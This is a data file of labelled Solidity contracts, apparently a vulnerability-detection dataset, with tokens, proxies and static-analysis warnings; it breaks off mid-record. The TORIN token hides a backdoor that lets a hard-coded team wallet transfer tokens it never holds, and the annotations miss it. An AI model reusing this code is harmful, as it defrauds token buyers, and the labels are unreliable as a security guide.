{ "code": "// SPDX-License-Identifier: GPL-3.0-only\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable2Step.sol\" as Ownable2Step;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./Upgradeable2Step.sol\" as Upgradeable2Step;\n\ncontract Upgradeable2Step is Ownable2Step {\n bytes32 public constant PENDING_IMPLEMENTATION_SLOT =\n keccak256(\"PENDING_IMPLEMENTATION_SLOT\");\n\n bytes32 public constant IMPLEMENTATION_SLOT =\n keccak256(\"IMPLEMENTATION_SLOT\");\n\n event ReplaceImplementationStarted(\n address indexed previousImplementation,\n address indexed newImplementation\n );\n\n event ReplaceImplementation(\n address indexed previousImplementation,\n address indexed newImplementation\n );\n\n error Unauthorized();\n\n constructor() Ownable(msg.sender) {}\n\n function replaceImplementation(address impl_) public onlyOwner {\n bytes32 slot_pending = PENDING_IMPLEMENTATION_SLOT;\n\n assembly {\n sstore(slot_pending, impl_)\n }\n\n emit ReplaceImplementationStarted(implementation(), impl_);\n }\n\n function acceptImplementation() public {\n if (msg.sender != pendingImplementation()) {\n revert OwnableUnauthorizedAccount(msg.sender);\n }\n\n emit ReplaceImplementation(implementation(), msg.sender);\n\n bytes32 slot_pending = PENDING_IMPLEMENTATION_SLOT;\n\n bytes32 slot = IMPLEMENTATION_SLOT;\n\n assembly {\n sstore(slot_pending, 0)\n\n sstore(slot, caller())\n }\n }\n\n function becomeImplementation(Upgradeable2Step proxy) public {\n if (msg.sender != proxy.owner()) {\n revert Unauthorized();\n }\n\n proxy.acceptImplementation();\n }\n\n function pendingImplementation() public view returns (address) {\n address pendingImplementation_;\n\n bytes32 slot_pending = PENDING_IMPLEMENTATION_SLOT;\n\n assembly {\n pendingImplementation_ := sload(slot_pending)\n }\n\n return pendingImplementation_;\n }\n\n function implementation() public view returns (address) {\n address implementation_;\n\n bytes32 slot = IMPLEMENTATION_SLOT;\n\n assembly {\n implementation_ := sload(slot)\n }\n\n return implementation_;\n }\n}", "file_name": "solidity_code_1048.sol", "secure": 1, "size_bytes": 2414 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-only\n\npragma solidity ^0.8.0;\n\nimport \"./Upgradeable2Step.sol\" as Upgradeable2Step;\n\ncontract Proxy2Step is Upgradeable2Step {\n constructor(address impl_) {\n require(impl_ != address(0), \"impl_ is zero address\");\n\n bytes32 slot = IMPLEMENTATION_SLOT;\n\n assembly {\n sstore(slot, impl_)\n }\n }\n\n fallback() external payable virtual {\n bytes32 slot = IMPLEMENTATION_SLOT;\n\n assembly {\n calldatacopy(0, 0, calldatasize())\n\n let result := delegatecall(\n gas(),\n sload(slot),\n 0,\n calldatasize(),\n 0,\n 0\n )\n\n returndatacopy(0, 0, returndatasize())\n\n switch result\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n receive() external payable virtual {\n (bool result, ) = implementation().delegatecall(\"\");\n\n assembly {\n returndatacopy(0, 0, returndatasize())\n\n switch result\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n}", "file_name": "solidity_code_1049.sol", "secure": 1, "size_bytes": 1411 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Fool is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 3f9ab79): fool.maxSupply should be constant \n\t// Recommendation for 3f9ab79: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1000000000 * 1e18;\n\n constructor() ERC20(\"FOOL COIN\", \"FOOL\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}", "file_name": "solidity_code_105.sol", "secure": 1, "size_bytes": 592 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-only\n\npragma solidity ^0.8.0;\n\nimport \"./Proxy2Step.sol\" as Proxy2Step;\n\ncontract BridgeHubWrapperProxy is Proxy2Step {\n constructor(\n address impl_,\n bytes memory initData_\n ) payable Proxy2Step(impl_) {\n require(impl_ != address(0), \"Invalid impl address\");\n\n if (initData_.length != 0) {\n (bool success, ) = impl_.delegatecall(initData_);\n\n require(success, \"init failed\");\n }\n }\n}", "file_name": "solidity_code_1050.sol", "secure": 1, "size_bytes": 505 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MAGA is ERC20, Ownable {\n constructor() ERC20(\"Make America Gay Again\", \"MAGA\") {\n _mint(msg.sender, 100000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1051.sol", "secure": 1, "size_bytes": 354 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view override returns (string memory) {\n return _name;\n }\n\n function symbol() public view override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 amount) internal {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal {\n uint256 currentAllowance = allowance(owner, spender);\n\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_1052.sol", "secure": 1, "size_bytes": 4249 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MovieofTrump is ERC20, Ownable {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b98278f): MovieofTrump.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for b98278f: Rename the local variables that shadow another component.\n constructor() ERC20(\"MOIVE OF TRUMP\", \"MOT\") {\n uint256 totalSupply = 100_000_000 * (10 ** 18);\n\n _mint(owner(), totalSupply);\n }\n}", "file_name": "solidity_code_1053.sol", "secure": 0, "size_bytes": 674 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TORIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e8a2afa): TORIN._taxWallet should be immutable \n\t// Recommendation for e8a2afa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 93f490e): TORIN._teamWallet should be immutable \n\t// Recommendation for 93f490e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _teamWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f0443eb): TORIN._taxWalletPercentage should be constant \n\t// Recommendation for f0443eb: Add the 'constant' attribute to state variables that never change.\n uint256 private _taxWalletPercentage = 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: d243a5b): TORIN._teamWalletPercentage should be constant \n\t// Recommendation for d243a5b: Add the 'constant' attribute to state variables that never change.\n uint256 private _teamWalletPercentage = 50;\n\n string private constant _name = unicode\"Official Mascot of Tesla\";\n\n string private constant _symbol = unicode\"TORIN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: f94d137): TORIN._initialBuyTax should be constant \n\t// Recommendation for f94d137: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: b27a11f): TORIN._initialSellTax should be constant \n\t// Recommendation for b27a11f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 7;\n\n\t// WARNING Optimization Issue (constable-states | ID: 900b6e4): TORIN._finalBuyTax should be constant \n\t// Recommendation for 900b6e4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 31a91e7): TORIN._finalSellTax should be constant \n\t// Recommendation for 31a91e7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64d5f56): TORIN._reduceBuyTaxAt should be constant \n\t// Recommendation for 64d5f56: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 583f993): TORIN._reduceSellTaxAt should be constant \n\t// Recommendation for 583f993: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 50f9eb0): TORIN._preventSwapBefore should be constant \n\t// Recommendation for 50f9eb0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 13;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0d5320): TORIN._taxSwapThreshold should be constant \n\t// Recommendation for e0d5320: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0bf662c): TORIN._maxTaxSwap should be constant \n\t// Recommendation for 0bf662c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ec14fa): TORIN.chaiScoreAvg should be constant \n\t// Recommendation for 2ec14fa: Add the 'constant' attribute to state variables that never change.\n uint256 private chaiScoreAvg = 0;\n\n uint256 private autoChaiCheck = 0;\n\n struct ChaiScoreChecker {\n uint256 initChaiCheck;\n uint256 changeScore;\n uint256 replaceScore;\n }\n\n mapping(address => ChaiScoreChecker) private chaiScoreInfo;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _teamWallet = payable(0x1d39daE8f51848225f23F69b092E4e4128956D4F);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_teamWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a62d9b2): TORIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a62d9b2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cde0c3c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cde0c3c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6945080): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6945080: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cde0c3c\n\t\t// reentrancy-benign | ID: 6945080\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: cde0c3c\n\t\t// reentrancy-benign | ID: 6945080\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: eadc912): TORIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for eadc912: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6945080\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cde0c3c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 82d38d4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 82d38d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d146d71): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d146d71: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 59fce3e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 59fce3e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Token: Transfer amount must be greater than zero\");\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, amount);\n\n return;\n }\n\n uint256 txAnt = 0;\n\n if (\n from != owner() &&\n to != owner() &&\n to != _taxWallet &&\n to != _teamWallet\n ) {\n txAnt = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n txAnt = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 82d38d4\n\t\t\t\t// reentrancy-benign | ID: d146d71\n\t\t\t\t// reentrancy-eth | ID: 59fce3e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 82d38d4\n\t\t\t\t\t// reentrancy-eth | ID: 59fce3e\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[to] || _isExcludedFromFee[from]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: d146d71\n autoChaiCheck = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (uniswapV2Pair != to) {\n ChaiScoreChecker storage chaiCheckState = chaiScoreInfo[to];\n\n if (from == uniswapV2Pair) {\n if (chaiCheckState.initChaiCheck == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: d146d71\n chaiCheckState.initChaiCheck = _preventSwapBefore <\n _buyCount\n ? block.number\n : ~uint256(0);\n }\n } else {\n ChaiScoreChecker storage chaiCheckUpdate = chaiScoreInfo[\n from\n ];\n\n if (\n chaiCheckState.initChaiCheck >\n chaiCheckUpdate.initChaiCheck ||\n chaiCheckState.initChaiCheck == 0\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: d146d71\n chaiCheckState.initChaiCheck = chaiCheckUpdate\n .initChaiCheck;\n }\n }\n } else if (swapEnabled) {\n ChaiScoreChecker storage chaiCheckUpdate = chaiScoreInfo[from];\n\n\t\t\t\t// reentrancy-benign | ID: d146d71\n chaiCheckUpdate.replaceScore =\n chaiCheckUpdate.initChaiCheck -\n autoChaiCheck;\n\n\t\t\t\t// reentrancy-benign | ID: d146d71\n chaiCheckUpdate.changeScore = block.timestamp;\n }\n }\n\n\t\t// reentrancy-events | ID: 82d38d4\n\t\t// reentrancy-eth | ID: 59fce3e\n _tokenTransfer(from, to, amount, txAnt);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _teamWallet\n ? tokenAmount\n : chaiScoreAvg.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 59fce3e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 82d38d4\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 59fce3e\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 59fce3e\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 82d38d4\n emit Transfer(from, to, receiptAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cde0c3c\n\t\t// reentrancy-events | ID: 82d38d4\n\t\t// reentrancy-benign | ID: d146d71\n\t\t// reentrancy-benign | ID: 6945080\n\t\t// reentrancy-eth | ID: 59fce3e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: dd91f76): TORIN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(taxWalletShare)\n\t// Recommendation for dd91f76: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n uint256 taxWalletShare = (amount * _taxWalletPercentage) / 100;\n\n uint256 teamWalletShare = (amount * _teamWalletPercentage) / 100;\n\n\t\t// reentrancy-events | ID: cde0c3c\n\t\t// reentrancy-events | ID: 82d38d4\n\t\t// reentrancy-eth | ID: 59fce3e\n\t\t// arbitrary-send-eth | ID: dd91f76\n _taxWallet.transfer(taxWalletShare);\n\n\t\t// reentrancy-events | ID: cde0c3c\n\t\t// reentrancy-events | ID: 82d38d4\n\t\t// reentrancy-eth | ID: 59fce3e\n _teamWallet.transfer(teamWalletShare);\n }\n\n function manualSwap() external {\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n require(\n address(this).balance > 0,\n \"Contract balance must be greater than zero\"\n );\n\n uint256 balance = address(this).balance;\n\n payable(_taxWallet).transfer(balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a65559e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a65559e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cf517d6): TORIN.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for cf517d6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 75062b8): TORIN.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 75062b8: Ensure that all the return values of the function calls are used.\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n tradingOpen = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a65559e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a65559e\n\t\t// unused-return | ID: 75062b8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a65559e\n\t\t// unused-return | ID: cf517d6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: a65559e\n swapEnabled = true;\n }\n}", "file_name": "solidity_code_1054.sol", "secure": 0, "size_bytes": 21184 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BlockDAG is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Block DAG\", \"DAG\") Ownable(initialOwner) {\n _mint(msg.sender, 500000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1055.sol", "secure": 1, "size_bytes": 405 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ForPeanut is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0f971c6): ForPeanut._taxWallet should be immutable \n\t// Recommendation for 0f971c6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac5cacb): ForPeanut._initialBuyTax should be constant \n\t// Recommendation for ac5cacb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: af430fc): ForPeanut._initialSellTax should be constant \n\t// Recommendation for af430fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1099bfd): ForPeanut._finalBuyTax should be constant \n\t// Recommendation for 1099bfd: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f67166): ForPeanut._finalSellTax should be constant \n\t// Recommendation for 3f67166: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e55b1a1): ForPeanut._reduceBuyTaxAt should be constant \n\t// Recommendation for e55b1a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 696fb40): ForPeanut._reduceSellTaxAt should be constant \n\t// Recommendation for 696fb40: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0bb256d): ForPeanut._preventSwapBefore should be constant \n\t// Recommendation for 0bb256d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 